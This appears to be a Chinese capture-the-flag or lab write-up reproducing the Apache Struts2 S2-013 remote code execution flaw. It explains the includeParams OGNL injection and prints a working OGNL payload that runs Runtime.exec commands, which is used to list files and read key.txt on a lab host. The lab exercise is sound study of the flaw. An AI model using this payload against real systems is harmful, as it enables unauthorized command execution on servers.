Apache Struts2远程代码执行漏洞(S2-013)复现

查询原理：s:url和s:a标记都提供includeparams属性。
该属性的主要作用域是了解包含或不包含http://request参数的内容。
INCLUDEParams的允许值为：
无-在URL中不包含任何参数（默认）
get-仅在URL中包含get参数
全部-在URL中同时包含get和post参数
包含精心设计的请求参数的请求可用于将任意ognl代码注入堆栈，随后用作URL或标记的请求参数，这将导致进一步的评估。
当URL/A标记尝试解析原始请求中的每个参数时，将进行第二次评估。
这允许恶意用户将任意ognl语句放入任何请求参数（不一定由代码管理），并将其评估为ognl表达式，以启用方法执行和执行任意方法，绕过struts和ognl库保护。

打开源代码，发现/link.action

查找S2-013poc:

${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘命令’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

命令填入ls，在burpsuite进行url编码，通过hackbar执行http://219.153.49.228:40262/link.action?a=poc的url编码

得到目录，发现key.txt,把ls改成cat key.txt,编码执行，得到key